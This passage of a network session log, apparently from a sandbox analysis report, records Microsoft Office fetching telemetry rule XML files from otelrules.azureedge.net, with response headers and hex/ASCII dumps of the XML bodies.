2024-11-20 03:08:15 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	62470	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:15 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:15 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:15 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030815Z-1777c6cb754gc8g6hC1TEB966c00000008y000000000k708 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:15 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	62472	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:15 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:15 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:15 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 21476416-401e-00a3-1c88-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030815Z-1777c6cb754g9zd5hC1TEBfvpw000000094000000000dtwg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:15 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	62474	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:16 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:16 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:16 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 8222e379-801e-008f-078c-3a2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030816Z-r1d97b99577lxltfhC1TEByw2s00000008d00000000026cs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:16 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	62479	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:16 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:16 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:16 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 270c2d5d-601e-00ab-2f8c-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030816Z-1777c6cb754mrj2shC1TEB6k7w000000090000000000t535 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:16 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	62478	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:16 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:16 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:16 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: b82dd3a8-b01e-0053-0e8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030816Z-r1d97b99577jlrkbhC1TEBq8d0000000085g000000008vvh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:16 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	62477	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:16 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:16 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:16 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030816Z-185f5d8b95cqnkdjhC1NYCm8w800000009fg00000000epbt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 03:08:16 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	62480	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:16 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:16 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:16 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 85bacdce-f01e-003f-758c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030816Z-r1d97b9957789g82hC1TEBstx0000000085g00000000g7s1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:16 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	62481	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:16 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:16 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:16 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 5a5a1706-c01e-0079-6c8c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030816Z-185f5d8b95cdtclvhC1NYC4rmc00000009r000000000pncx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:16 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	62482	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:17 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:17 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:17 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 073925de-a01e-0032-2d8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030817Z-1777c6cb754wcxkwhC1TEB3c6w00000008u000000000tqyu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:17 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	62484	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:17 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:17 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:17 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: ab7768f3-b01e-0098-59ec-3acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030817Z-185f5d8b95crwqd8hC1NYCps6800000009p0000000009xe2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 03:08:17 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	62485	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:17 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:17 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:17 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 1afac609-801e-00a3-2b8c-3a7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030817Z-1777c6cb754gvvgfhC1TEBz4rg00000008zg00000000nd50 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:17 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	62483	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:17 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
